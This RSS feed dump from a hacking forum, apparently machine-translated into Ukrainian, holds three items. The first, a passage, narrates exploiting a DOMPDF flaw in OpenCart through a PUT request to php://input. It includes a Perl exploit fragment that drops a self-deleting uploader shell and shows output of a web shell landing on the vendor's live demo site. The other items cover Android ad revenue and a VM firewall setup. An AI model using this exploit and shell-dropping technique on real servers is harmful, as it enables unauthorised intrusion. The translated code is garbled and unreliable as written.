						&lt;p&gt;Потім мені прийшла в голову одна ідея. Якщо інклуд видалених файлів і протокол data заборонені, то що буде, якщо спробувати знайти в демоверсії сайту завантаження файлів? Нам би в нагоді й завантаження картинок. Заінклудів картинку з PHP-кодом, ми могли б його виконати. На жаль, пошук по демонстраційній версії адмінки не приніс ніяких результатів. Адаменко була урізана в правах і не можна було вантажити навіть картинки. Облом номер два.&lt;/p&gt;
						&lt;p&gt;Потім я вирішив взятися за враппери PHP, поворожити з ними - раптом що вигорить. Але все безрезультатно. Ситуація така: віддалені файли читати не можна, локальні файли можна отримати у вигляді PDF і можна виконувати PHP-код локальних файлів. Але користі від цього всього немає, якщо немає можливості виконати саме свій код. Тоді я згадав про інклуд PHP-коду в локальні файли. Але як я не намагався, ні старий трюк з лог-файлами apache, ні метод с / proc теж не допомогли. Це був облом номер три.&lt;br /&gt;... Але в підсумку моя взяла&lt;/p&gt;
						&lt;p&gt;Все це починало діяти на нерви - є і вразливість, і конфіг з паролем до бази даних, але всюди мене шлють лісом. Залишивши цю справу на наступний день, я пішов спати. Як говориться, ранок вечора мудріший.&lt;/p&gt;
						&lt;p&gt;На наступний день я знову взявся курити мануали по PHP і розгрібати вразливу бібліотеку. Згадуючи про обгортки, фільтри та інше, я згадав про php: / / input. Ця обгортка дозволяє читати POST дані, і незалежна від будь-яких директив PHP. Загалом, затія моя була така: замість файлу підставити цю обгортку, а потрібний код послати в POST-масиві. У результаті рядок запиту в експлойт повинна бути такою:&lt;/p&gt;
						&lt;p&gt;http://.../dompdf.php?input_file=php://input&lt;/p&gt;
						&lt;p&gt;Швидко накидавши на коліні Perl-скрипт, я почав тестувати цей метод. Але був страшенно засмучений. Дані, що приймаються з POST-масиву, приходили як закодовані URL-еквіваленти; до того ж повністю приходило як вміст, так і назва змінної. Тобто, виходило таке неподобство:&lt;/p&gt;
						&lt;p&gt;var =% 3C% 3Fphp% 20echo% 28999% 29% 3B&lt;/p&gt;
						&lt;p&gt;Зрозуміло, що це не буде виконуватися як код. Знову треба було думати і шукати альтернативні варіанти, але ж щастя було так близько.&lt;/p&gt;
						&lt;p&gt;У пошуках методів модифікації значень, що передаються через php: / / input я набрів на метод PUT. Треба б спробувати його - він простіше, ніж POST, але підтримується не всіма серверами і не завжди. Отже, замінивши POST на PUT, пробуємо послати яку-небудь рядок, яка повинна виконатися як PHP-код. І що ти думаєш? Це прокотили, скрипт отримує чистий рядок, код виконується. Другий експлойт заснований на методі за PUT і php: / input, він завантажує довільні файли на сервер з уразливою бібліотекою, діючи в кілька етапів.&lt;/p&gt;
						&lt;p&gt;Ось шматок з експлойта:&lt;/p&gt;
						&lt;p&gt;my $ tmp_shell = &amp;lt;&amp;lt;&#039;B64&#039;;&lt;br /&gt;&amp;lt;? Php&lt;br /&gt;if (@ move_uploaded_file ($ _FILES [&#039;fi&#039;] [&#039;tmp_name&#039;],$_ FILES [&#039; fi &#039;] [&#039; name &#039;]))&lt;br /&gt;{&lt;br /&gt;echo (9);&lt;br /&gt;@ Unlink (__FILE__);&lt;br /&gt;}&lt;br /&gt;B64&lt;br /&gt;my $ shell64 = encode_base64 ($ tmp_shell);&lt;br /&gt;my $ tophp = sprintf (&amp;quot;&amp;lt;? php eval (base64decode (&#039;% s&#039;));&amp;quot;, encode_base64 (&amp;quot; file_put_contents (&#039; i.php &#039;, base64_decode (&#039; $ shell64&#039;));&amp;quot;));&lt;br /&gt;# Stage 1, exploiting DOMPDF vulnerability.&lt;br /&gt;my $ req = PUT &amp;quot;$ url / dompdf.php? input_file = php: / / input&amp;quot;, Content =&amp;gt; $ tophp;&lt;/p&gt;
						&lt;p&gt;У змінній $ tmp_shell у нас тимчасовий міні-шелл. Його завдання - завантажити файл (для нас переважно повноцінний шелл) і видалити самого себе. Цей міні-шелл буде записаний у файл i.php при виконанні PHP-коду. В останньому рядку у нас знаходиться перловий запит PUT. У принципі, тут все повинно бути інтуїтивно зрозуміло. Цей і найперший експлойти шукай на диску.&lt;/p&gt;
						&lt;p&gt;Таким чином, виріс другий експлойт, орієнтований на варіант, коли allow_url_fopen = off. На локальному сервері всі чудово працює, шелл заливається. Тепер залишається схрестити пальці і запустити наш експлойт проти демоверсії сайту. Знову з&#039;єднуюся зі своїм Дедик і запускаю звідти експлойт:&lt;/p&gt;
						&lt;p&gt;www-data @ sd: / var / www / lib $. / e.pl-u = &lt;a href=&quot;http://demo.opencart.com/-s&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/-s&lt;/a&gt; =. / logs.php&lt;/p&gt;
						&lt;p&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;wwwopencart.com exploit&lt;br /&gt;~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~&lt;br /&gt;[~] Exploiting &lt;a href=&quot;http://demo.opencart.com/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/&lt;/a&gt;&lt;br /&gt;[+] Ok, uploading shell ...&lt;br /&gt;[+] Ok, response [9], checking for shell.&lt;br /&gt;[+] Ok, shell: &lt;a href=&quot;http://demo.opencart.com/system/helper/dompdf/newi.php&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;http://demo.opencart.com/system/helper/dompdf/newi.php&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;Як ти розумієш, тепер мені пощастило, і шелл залився. Перебуваючи всередині сервера, я побачив, що адміни сервера поотрубалі безліч небезпечних функцій PHP, непогано налаштували PHP-конфіг, але це їх не врятувало. Спочатку поставлена мною мета була досягнута - подолати перший рубіж, залити шелл. Перебуваючи на сервері, можна було дамп базу даних, рута сервер, дефейсів і так далі, але це не входило в мої плани. Я поступив більш гуманно, повідомивши адміністраторам про уразливість. Адміни пожвавішали в той же день, так що на оффсайте остання версія (1.4.6) не піддається експлойт. Тому можна наткнутися як на уразливий, так і на чистий движок однієї і тієї ж версії.&lt;br /&gt;Хепі енд&lt;/p&gt;
						&lt;p&gt;Який урок можна винести з цієї історії? Атакуючої стороні - не здаватися і не відступати, а ворушити мізками і шукати шляхи обходу. Як ти міг спостерігати, для того, щоб потрапити на сервер, мені довелося перебрати чимало різних технік і методів експлуатації вразливостей. Що з приводу розробників, то є таке прислів&#039;я: &amp;quot;довіряй, але перевіряй&amp;quot;. У движку, з яким ми працювали, була застосована вразлива стороння бібліотека, що і стало причиною успішної атаки. Але ж про уразливість було відомо ще до мого експлойта. Це говорить про те, що розробники движка не цікавляться безпекою, які не читають багтрекі, та й аудит своєї системи в цілому не проводять. У підсумку фінал такий, як він є. Але одне було зроблено правильно. Самі исходники движка знаходяться на хостингу від Google. Можливо, якщо добре пошукати, то можна й на оффсайте знайти аутентифікаційні дані для хостингу проекту, але це вже вимагатиме трохи більших зусиль. Крім безпеки, це знижує навантаження на сервер, залишається більше місця, не витрачається трафік. Загалом, вчися, не зашкодь і використовуй знання в благих намірах.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:39:35 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=38#p38</guid>
		</item>
		<item>
			<title>$ 1000 на Android: заробляємо на додатках для мобільної платформи</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=37#p37</link>
			<description>&lt;p&gt;Ідеї заробляти на мобільних додатках у мене ніколи не було. Досвіду розробки для мобільної платформи - теж. Навіть телефон на Android виявився у мене зовсім випадково. Але пара вечорів експериментів і несподівано вдала ідея дозволили за 2 місяці заробити більше $ 1000. Це набагато більше, ніж я міг очікувати:)!&lt;/p&gt;
						&lt;p&gt;Відразу хочу попередити, що не збирався писати посібник, як заробити мільйон. Хоча б тому, що якби знав, то ні за що б не розповів. А ось чим я готовий поділитися, так це підходами і механізмами, які дозволяють розробникам заробляти на додатках для Android. Але перш ніж рватися в бій, потрібно розповісти пару слів про саму платформі.&lt;br /&gt;Звідки взявся Android?&lt;/p&gt;
						&lt;p&gt;Google Andoid - мобільна операційна система, в основі якої лежить ядро Linux. Як і багато інших проектів Google, технологія спочатку розроблялася компанією Android, Inc., Яку пошуковий гігант купив у 2005 році, найнявши всіх провідних розробників. У 2008 році відбувся перший реліз платформи. Android сьогодні - це зріла мобільна ОС, для якої вже випущено кілька серйозних оновлень. До кінця цього року буде продаватися вже більше 100 моделей телефонів на базі Android від HTC, Motorola, Samsung, Dell, Huawai, Sony Ericsson та інших брендів. Якщо вірити Еріку Шмідту, одному з головних осіб в Google, то вже сьогодні кожен день продається більш ніж 60 тисяч Android-пристроїв по всьому світу - коротше кажучи, очевидна тенденція до масового поширення. Втім, що ще чекати від платформи, яку курирує сам Google?&lt;/p&gt;
						&lt;p&gt;Найбільш розповсюдженим зараз є девайс HTC G1 - дуже непоганим пристроєм за співвідношенням &amp;quot;ціна-якість&amp;quot;. Саме його я використовую для налагодження робочих проектів. Правда, якщо хочеш купувати пристрій зараз, то я настійно рекомендую поглянути на що-небудь більш сучасний, начебто HTC Nexus One або Motorola Droid. Оглядів пристроїв та самої платформи в Мережі - мільйон, тому на цьому я зупинятися не буду.&lt;br /&gt;Програми для Android&lt;/p&gt;
						&lt;p&gt;З популярністю платформи зростає і кількість додатків. На щастя, давно минули часи, коли потрібно було вручну шукати програму в інеті, потім закачувати дистрибутив в телефон і тільки там його встановлювати. Всі провідні виробники створюють зручні площадки для поширення додатків - каталоги, що дозволяють прямо з телефону знайти і встановити потрібну тулз, прочитати відгуки, а якщо вона платна, то й купити її. Першопрохідником, які поставили на рейки подібну схему, стала Apple, почавши розробку і довівши до неймовірних масштабів App Store. В Nokia такий майданчик називається Nokia Ovi Store, Microsoft після анонсу своєї нової мобільної ОС Windows Phone представила оновлений Microsoft Market Place. У Android такий майданчик теж є і називається Android Market.&lt;/p&gt;
						&lt;p&gt;Віртуальні магазини наповнюються продукції від компанії-творців, а також сторонніх розробників і часто від програмістів-одинаків. Для запобігання розповсюдження фішингових програм і вірусів, на всіх майданчиках обов&#039;язково працює модерація. Правда, політика розміщення додатків на майданчиках різниться: на тому ж App Store&#039;e існує перемодерація, і твоє додаток може досить довго проторчать в черзі на модерацію, в той час як в Android Market прийнята політика постмодерації. До того ж на iPhone існують дуже жорсткі правила для додатків як з технічного виконання, так і функціональному - тому немає ніякої гарантії, що твоя розробка, будь навіть вона надзвичайно корисною і зручною, потрапить в каталог. Майданчик Android Market в цьому плані набагато ліберальна. Є ще одна відмінність: легально встановлювати ПЗ для iPhone передбачається виключно через AppStore, в той час як Android дозволяє вантажити програми звідки завгодно. У кожному підході є і плюси і мінуси, не будемо в них заглиблюватися, а приймемо як належне.&lt;/p&gt;
						&lt;p&gt;Ринок додатків для Android відносно невеликий, але росте приголомшуючими темпами. Для прикладу, в Android Market кількість додатків подвоїлося за три місяці, досягши значення 30 тисяч. Звичайно, ще далеко до показників App Store, але все ще попереду. Незважаючи на слово Market (&amp;quot;ринок&amp;quot; у перекладі з англійської), більша частина поширюваних через систему додатків безкоштовна або, щонайменше, має трохи урізану безкоштовну версію. Тут варто зауважити, що оплата додатків здійснюються через Google Checkout, який так само, як і PayPal, знімає гроші з прив&#039;язаною до аккаунту пластикової карти. Але, на жаль, для нас - жителів ex-USSR поки можливість отримувати додатки офіційно закрита. Але якщо постаратися (докладніше - нижче), то придбати вподобану іграшку і прогу все-таки можна, причому тут є один цікавий момент. Якщо протягом доби віддалиш з телефону платне додаток, то гроші з твого рахунку не знімуться. Такий ось гарантований moneyback на 24 години.&lt;br /&gt;Чи можна заробити на продажах?&lt;/p&gt;
						&lt;p&gt;Раз додаток можна купити, то, отже, можна і продати? :) Переходимо до найсмачнішою частини розповіді, а саме питання: на чому, власне, можна заробити. Ідея розробити програму та спробувати переконати користувачів в тому, що за певну винагороду воно гідно опинитися на їхньому телефонах, напрошується сама собою. Тим більше, всю схему продажу вже давно придумали для тебе - ласкаво просимо на іншу сторону Android Market, призначену для розробників.&lt;/p&gt;
						&lt;p&gt;Нагадаю, що в магазині від Google використовується пост-модерація, це означає, що додаток перевіряється на вошивість вже після того, як воно потрапило на віртуальний прилавок. Але щоб магазин тут же не заспамілі і не засмітили безглуздою і небезпечною дурницями, компания бере з кожного розробника невеликий внесок. Тому, щоб ти міг опублікувати додаток в Android Market (навіть безкоштовне), необхідно заплатити трохи американських доларів, а саме $ 25.&lt;/p&gt;
						&lt;p&gt;Не те щоб серйозна перешкода на шляху до мільйонів - платимо. Тепер можна почати продавати? Ні! На жаль, якщо ти народився не в тій країні (а швидше за все так і є), то продавати додатки ти поки не зможеш. Справа в тому, що продавець для роботи обов&#039;язково повинен оформити обліковий запис Merchant Account Google Checkout, а громадяни колишнього СРСР до списку тих, хто може це зробити, не входять. Моторошно нагадує ситуацію з PayPal, де можливості приймати платежі як немає, так в найближчому майбутньому і не передбачається. І це серйозний облом! Так, можна спробувати працювати через посередника. Перший варіант - друзі і родичі за кордоном, які мають рахунки в локальних банках. Інший варіант - спеціальні компанії-посередники, які за бажання легко шукаються через пошуковик і пропонують свої послуги за 10-20% від вартості кожного продажу. Успішної співпраці у мене ні з однією з них не було, тому конкретні компанії я тобі радити не буду. Якщо працювати через посередників бажання немає, а продавати додатки все-таки хочеться, то є ще один варіант - альтернативні магазини. Найбільш популярними вважаються:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * SlideME;&lt;br /&gt;&amp;#160; &amp;#160; * AppsLib;&lt;br /&gt;&amp;#160; &amp;#160; * AndAppStore.&lt;/p&gt;
						&lt;p&gt;Модель розповсюдження додатків через ці майданчики мало чим відрізняється від Android Market: користувач встановлює спеціальний додаток і за допомогою нього шукає потрібні йому програми. На жаль, аудиторія у альтернативних магазинів мізерно маленька, але навіть тут можна заробляти. У тому ж SlideME моя перша продаж пройшла через день після додавання в каталог. Щоправда, вже через день, коли лічильник продажу залишився на все тому ж значенні, стало ясно, що стану на цьому не сколоти. Аудиторія користувачів Android дуже розбірлива, причому на даний момент складається переважно з гіків. Будь-яка дурниця, яка &amp;quot;на ура&amp;quot; продається для iPhone, може взагалі не мати продажів для Android. Існують навіть цілі дослідження, в яких детально аналізується це питання. Якщо хочеш продати програму для Android, то це повинен бути виключно якісний софт, бездоганно написаний і оновлюваний. Моя продаж на SlideME стала для мене останньою: я зробив додаток безкоштовним і вставив у нього рекламу.&lt;br /&gt;$ $ $ За покази&lt;/p&gt;
						&lt;p&gt;Так, саме рекламу. Я вирішив так: раз я не можу переконати користувачів купити моє додаток, то нехай користуються ним безкоштовно, але не ображаються на рекламу. І в тому, і іншому випадку я буду отримувати гроші. Модель стара як світ і називається AdWare, але поява мобільних додатків буквально вдихнув у неї нове життя. Коли додаток з&#039;являється в каталозі, отримує високий рейтинг і хвалебні коментарі користувачів, кількість завантажень може за лічені дні досягти декількох тисяч - і це без будь-якої реклами і вкладень. А якщо прога гарна, то покази реклами гарантовані! Цілком реально написати средненько (можливо, сезонне) додаток, вставити в нього рекламу і опублікувати на Android Market, при цьому дуже скоро почавши отримувати профіт.&lt;/p&gt;
						&lt;p&gt;Для початку нам необхідно вибрати провайдера реклами. Це спеціальні сервіси, які автоматично будуть підкачувати рекламу тобі в додаток, що задовольняє заданим критеріям, позбавляючи тебе від необхідності самому шукати рекламодавців. Постачальників реклами, як і банерних мереж для звичайних веб-сайтів, по-справжньому багато, але як завжди є лідери:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; * Quattro Wireless;&lt;br /&gt;&amp;#160; &amp;#160; * AdMob.&lt;/p&gt;
						&lt;p&gt;Схема роботи у обох провайдерів приблизно однакова: ти завантажувати спеціальну бібліотеку, підключаєш її до свого проекту і далі на сайті провайдера реєструєш нову рекламну кампанію. Після реєстрації тобі дається унікальний код, який ти в свою чергу прописуються в своєму додатку. Процес підключення рекламних модулів від А до Я розписаний на сайтах провайдерів, з докладними прикладами та відеороликами - ніяких проблем тут виникнути не повинно.&lt;/p&gt;
						&lt;p&gt;Найчастіше оплачуються не покази реклами, а кліки по рекламних оголошеннях. Причому, чим більше буде співвідношення клік / показ (такий показник називається CTR), тим більше будуть коштувати ті самі кліки, тому в наших інтересах показувати ту рекламу, на яку користувач може клінуть. Для цього до твоїх послуг пропонуються налаштування націлення: у тебе завжди є можливість управляти змістом рекламних оголошень, вибирати категорії, фільтрувати банери за заданими параметрами. Для прикладу: у мене є один додаток, який можуть використовувати діти, і їм не дуже потрібно бачити рекламу на adult-контент. Також за допомогою управління рекламними кампаніями можна методом наукового тику знайти найоптимальніші рекламні категорії, і залежно від типу додатки постаратися підібрати таргетовану рекламну кампанію.&lt;/p&gt;
						&lt;p&gt;Максимально швидке поширення може бути досягнуто тільки, якщо ти додаси програму в Android Market. Процес сабміта в каталог, про який ми вже говорили у попередньому розділі, не займе багато часу. Тобі знадобиться аккаунт на Android Market, де на спеціальній сторінці треба заповнити опис програми, додати скріншоти і завантажити сам додаток. Через 5 хвилин його зможуть завантажити щасливі користувачі - значить, рекламні повідомлення показуються і грошики на віртуальний рахунок капають.&lt;br /&gt;Як вивести гроші?&lt;/p&gt;
						&lt;p&gt;З власного досвіду можу сказати, рве всіх по віддачі: буквально за 2 тижні з моменту публікації додатки на моєму внутрішньому рахунку було 200 доларів. А за листопад і грудень 2009 року на одній цьому майданчику я заробив вже більше 1100 доларів. Якщо бути чесним, то на подібну віддачу я навіть не сподівався. Додаток було сезонним і дуже простим. За допомогою Xmas Tree користувачі могли віртуально нарядити Різдвяну ялинку і встановити його в якості wallpaper&#039;а або відправити картинку одному. Для того щоб оцінити всю простоту, можеш встановити додаток і зараз. Якщо у тебе немає відповідного телефону, то опис проги і скріншоти можна подивитися за допомогою спеціального веб-клієнта для Android Market&#039;а - wwwandrolib.com. Ти будеш сміятися, але розробка цієї програми зайняла 2-3 дні, за умови, що у мене не було досвіду ні в Java, ні у розробці під дану платформу. Зараз воно дає максимум 6 доларів на день, але і це непогано.&lt;/p&gt;
						&lt;p&gt;Quattro Wireless посилає гроші раз на 2 місяці і не менше 100 доларів. Admob.com також платить справно, але віддача від нього набагато слабше, хоча сама реклама оформлена у них краще і красивіше. Гроші можна виводити різними способами: банківський чек, PayPal, EFT. Отримавши непоганий бонус на віртуальному рахунку Quattro Wireless, я запізнився дізнався про обмеження PayPal, що не дозволяє прийняти гроші на рахунок користувачам з країн СНД. Але зі мною зв&#039;язалася служба підтримки і запропонувала перевести гроші по EFT (це звичайний переклад на твій рахунок в банку). Для цього довелося сходити у відділення банку і взяти необхідні для перекладу реквізити (номер рахунку, SWIFT код, і ще деякі дані - вони можуть відрізнятися від банку до банку). Вже через тиждень на мою карту прийшли гроші. Комісія в $ 30, яку стягує банк за кожен такий переклад, не могла зіпсувати настрій від несподіваного заробітку.&lt;/p&gt;
						&lt;p&gt;Звичайно, мені багато в чому пощастило, і далеко не факт, що будь-який розпочатий проект також успішно вистрілить. Тому я як не розглядав, так і не розглядаю цей спосіб як основне джерело доходу. Але те, що на додатках для Android можна заробляти - це я тобі кажу абсолютно точно.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; На чому розробляються програми для Android?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Основною мовою для розробки додатків є Java. Для того щоб почати, потрібно дві речі:&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Android SDK (developer.android.com / sdk);&lt;br /&gt;&amp;#160; &amp;#160; &amp;#160; &amp;#160; * Улюблена IDE для Java (Eclipse, IntelliJ IDEA, NetBeans - все одно).&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Усю документацію та приклади можна знайти на офіційному сайті developer.android.com. Створити свій перший додаток на Google Android не просто, а дуже просто. На тому ж сайті developer.android.com є мануал з картинками для різних IDE, більше того, можна створити додаток взагалі за допомогою одного лише &amp;quot;Блокнота&amp;quot;, але це спосіб для справжніх джедаїв. З появою Android Native Development Kit для розробки стало можливим використовувати ще і Сі. Протестувати вийшло додаток можна на будь-якому девайсі з платформою Android, для цього в SDK є спеціальний драйвер для підключення через USB. Але якщо у тебе ще немає девайса - це не біда, в SDK входить повнофункціональний емулятор. Саме на такому емуляторі я налагоджував свої перші програми, лаючись на надмірну тормознутость. Зате за допомогою Android Emulator&#039;а легко симулювати високошвидкісне або, навпаки, повільне з&#039;єднання, емулювати вхідне SMS або дзвінок, і т.д. У результаті налагодження програми часом стає ще зручніше, ніж на справжньому телефоні.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Наостанок розповім про маленького фінт вухами, що дозволяє буквально за дві години написати готову гру для Google Android. Алгоритм простий: створюємо проект, вставляємо на форму компонент WebView, пишемо трохи коду - і наш мега-движок для ігор готовий. Секрет у тому, що таким чином ми створюємо цілком робочий браузер, в якому можемо відкрити будь-який додаток на JavaScript&#039;е (а незабаром і на Flash&#039;е). Причому для кінцевого користувача вона ні чим не відрізнятиметься від інших ігор. Таким чином, можна випускати по одній іграшці на тиждень, не особливо заморочуючись вивченням програмування безпосередньо під Android.&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Як працювати з різними провайдерами реклами?&lt;/p&gt;
						&lt;p&gt;&amp;#160; &amp;#160; Для більш ефективного заробітку на рекламі, можна працювати з декількома провайдерами реклами одночасно. Це дозволяє сервіс AdWhirl, що дозволяє позбавитися від болісного вибору між Admob або Quattro Wireless. Замість цього компанія надає розробникам можливість отримати доступ до декількох рекламним мережам одночасно, що дозволяє їм компенсувати витрати, коли в одній мережі не вистачає кількості переглядів сторінок (а це іноді трапляється). Для роботи необхідно інтегрувати у додаток бібліотеку з Adwhirl SDK, при цьому всі компоненти поширюються виключно у відкритих исходниках.&lt;/p&gt;</description>
			<author>mybb@mybb.ru (hak)</author>
			<pubDate>Fri, 15 Oct 2010 22:38:37 +0400</pubDate>
			<guid>http://hak.bbon.ru/viewtopic.php?pid=37#p37</guid>
		</item>
		<item>
			<title>Віртуальний захисник: як забезпечити безпеку Windows</title>
			<link>http://hak.bbon.ru/viewtopic.php?pid=36#p36</link>
			<description>&lt;p&gt;Більшість з нас звикла до стандартних рішень, які не переглядаються роками. Так захист вінди ми довіряємо одного й того самого комплекту програм - файрвол, антивірус, антишпигунська програма ... Такий набір є у кожного, відрізняються лише виробники. Ми ж спробуємо інший шлях - використовувати як блокпоста * nix-систему, запущену у віртуальній машині. А наскільки цей підхід виявиться ефективним у кожному конкретному випадку, вирішувати вже тобі.&lt;br /&gt;Суть ідеї&lt;/p&gt;
						&lt;p&gt;Вбудовані віндовий кошти - Windows Firewall і Internet Connection Sharing (Спільний доступ до інтернету) досить незручні, малорухомі і не забезпечують належного рівня захисту. Тому, щоб роздати інтернет на декілька компів, з можливістю повноцінного контролю всього процесу, потрібно або хардварний роутер, або одне з софтових рішень, начебто UserGate Proxy &amp;amp; Firewall, NetworkShield Firewall або Kerio WinRoute Firewall. Роутер зрозумілий в налаштуваннях, навіть найпростіші залозки мають мінімальні функції фільтра пакетів, маршрутизації, захисту від атак і так далі. Але часто його можливості не дають розвернутися на повну, і руки зв&#039;язані тим, що закладено в нього виробником. Більш функціональні рішення коштують відповідно, але і їхніх можливостей може не вистачати (наприклад, шейпінгу, обліку трафіку, моніторингу завантаження каналу). Аналогічна ситуація і з софтові рішеннями. За гарний файрвол з усіма наворотами доведеться заплатити. Не варто забувати про те, що захист працює, поки користувач залишається в домашній локальної мережі, але варто підключитися до інету через одну з численних точок доступу за межами дому, як ми залишаємо комп&#039;ютер з Windows Firewall, тобто практично беззахисним.&lt;/p&gt;
						&lt;p&gt;Потужності сучасних настільних систем цілком достатньо, щоб встановити віртуальну машину, яку і використовувати в якості файр для захисту локальної системи або шлюзу для підключення інших комп&#039;ютерів домашньої мережі. Крім того, на ньому можна розгорнути проксі, кешуючий DNS та інші необхідні сервіси (наприклад, IDS, VPN або IP-PBX). Природно, з метою економії ресурсів у віртуальній машині не варто запускати десктопну ОС, цілком можна обійтися серверним дистрибутивом Linux у мінімальній інсталяції, або взяти одну з BSD систем. Наприклад, OpenBSD в дефолтовой установці прекрасно працює, якщо їй виділити всього 32-64 Мб ОЗУ і 300 Мб місця на харді, що, погодься, зовсім небагато, особливо з огляду на можливості цієї операційки. Надалі ми розглянемо налаштування PF в OpenBSD і iptables в Linux. В якості віртуальної машини будемо використовувати безкоштовний VirtualBox, який досить простий в налаштуваннях і не жадібний до оперативки. Хоча при бажанні його можна замінити QEMU, Virtual PC або іншим рішенням. Ще варіант: створити образ у VMware Server (ключ видається безкоштовно), який потім задіяти в VMware Player.&lt;br /&gt;Віндовий розбирання&lt;/p&gt;
						&lt;p&gt;Щоб виключити вихід хостової ОС в інтернет, в настройках реального мережного адаптера знімаємо всі галочки, за винятком VirtualBox Bridged Networking Driver. У тому числі потрібно прибрати підтримку &amp;quot;Протокол Інтернету (TCP / IP)&amp;quot; та &amp;quot;Клієнт для мереж Microsoft&amp;quot;. У налаштуваннях віртуального мережевого інтерфейсу, що з&#039;явився після установки VirtualBox, в якості шлюзу за замовчуванням і DNS-сервера вказуємо IP-адресу &amp;quot;внутрішнього&amp;quot; (LAN) інтерфейсу гостьової ОС, запущеної у віртуальній машині (vic1 у разі OpenBSD або eth1 в Linux). Тут також вимикаємо &amp;quot;Клієнт для мереж Microsoft&amp;quot;. При створенні віртуальної машини вказуємо два мережевих адаптера. В одному вказуємо тип підключення &amp;quot;Міст&amp;quot; і вибираємо в списку &amp;quot;Ім&#039;я&amp;quot; реальний мережевий адаптер (наприклад, Wi-Fi), підключений до інтернет. Тип другий вказуємо як &amp;quot;Віртуальний адаптер хоста&amp;quot;, через нього і будемо підключатися до глобальної мережі.&lt;/p&gt;
						&lt;p&gt;Вважаємо, що гостьова система вже встановлена, і переходимо безпосередньо до налаштувань.&lt;br /&gt;Налаштування PACKET FILTER&lt;/p&gt;
						&lt;p&gt;Насамперед потрібно включити форвардінг пакетів між двома мережевими інтерфейсами:&lt;/p&gt;
						&lt;p&gt;# Sysctl net.inet.ip.forwarding = 1&lt;/p&gt;
						&lt;p&gt;Щоб зміна набирало чинності після кожної перезавантаження, знімаємо коментар з відповідного рядка файлу / etc / sysctl.conf. Далі створимо найпростіше правило для виходу в інтернет через NAT, пишемо в pf.conf:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / pf.conf&lt;/p&gt;
						&lt;p&gt;nat on vic0 from vic1: network to any -&amp;gt; vic0&lt;br /&gt;block in all&lt;br /&gt;pass in on vic1&lt;/p&gt;
						&lt;p&gt;Тут активована трансляція адрес для мережі, підключеного до інтерфейсу vic1, з якого дозволений весь трафік. Всі порти прикриті. Перевіряємо файл на наявність помилок і застосовуємо правила:&lt;/p&gt;
						&lt;p&gt;# Pfctl-nf / etc / pf.conf&lt;br /&gt;# Pfctl-vf / etc / pf.conf&lt;/p&gt;
						&lt;p&gt;У висновку консолі отримаємо всі активні правила PF, причому замість назв інтерфейсів будуть вказані IP-адреси. Щоб перевірити стан NAT, набираємо:&lt;/p&gt;
						&lt;p&gt;# Pfctl-s state&lt;/p&gt;
						&lt;p&gt;Тепер входимо в інтернет з локальної системи і скануємо зовнішній IP (виданий провайдером) за допомогою сканера начебто nmap на наявність відкритих портів. Далі розвиваємо створені правила, дозволивши, наприклад, вихід в інтернет тільки по певних портах:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / pf.conf&lt;/p&gt;
						&lt;p&gt;tcp_srv = &amp;quot;{ssh, smtp, domain, www, pop3}&amp;quot;&lt;br /&gt;udp_srv = &amp;quot;{domain}&amp;quot;&lt;br /&gt;block all&lt;br /&gt;pass out inet proto tcp to any port $ tcp_srv&lt;br /&gt;pass out inet proto udp to any port $ udp_srv&lt;/p&gt;
						&lt;p&gt;Замість назв сервісів з / etc / services в правилі можна вказати номери портів, тут кому як зручніше. Переглянути статистику за допомогою pfctl досить просто:&lt;/p&gt;
						&lt;p&gt;# Pfctl-s info&lt;/p&gt;
						&lt;p&gt;Для більш наочного моніторингу можна використовувати утиліти начебто ntop або pftop. Для цього через змінну оточення PKG_PATH вказуємо FTP-дзеркало (wwwopenbsd.org / ftphtml), з якого будемо ставити прекомпільованних пакети:&lt;/p&gt;
						&lt;p&gt;# Export PKG_PATH = &lt;a href=&quot;ftp://ftp.openbsd.org/pub/OpenBSD/4.6/packages/i386&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;ftp://ftp.openbsd.org/pub/OpenBSD/4.6/packages/i386&lt;/a&gt;&lt;/p&gt;
						&lt;p&gt;І виконуємо установку:&lt;/p&gt;
						&lt;p&gt;# Pkg_add pftop&lt;br /&gt;# Pkg_add ntop&lt;br /&gt;Доповнюємо схему&lt;/p&gt;
						&lt;p&gt;Зменшити кількість вхідного трафіку, скоротити час завантаження сторінок і порізати банери допоможе кешуючий проксі-сервер Squid.&lt;/p&gt;
						&lt;p&gt;# Pkg_add squid-2.7.STABLE6.tgz&lt;/p&gt;
						&lt;p&gt;Відкриваємо конфігураційний файл / etc / squid / squid.conf і дозволяємо підключення:&lt;/p&gt;
						&lt;p&gt;# Vi / etc / squid / squid.conf&lt;/p&gt;
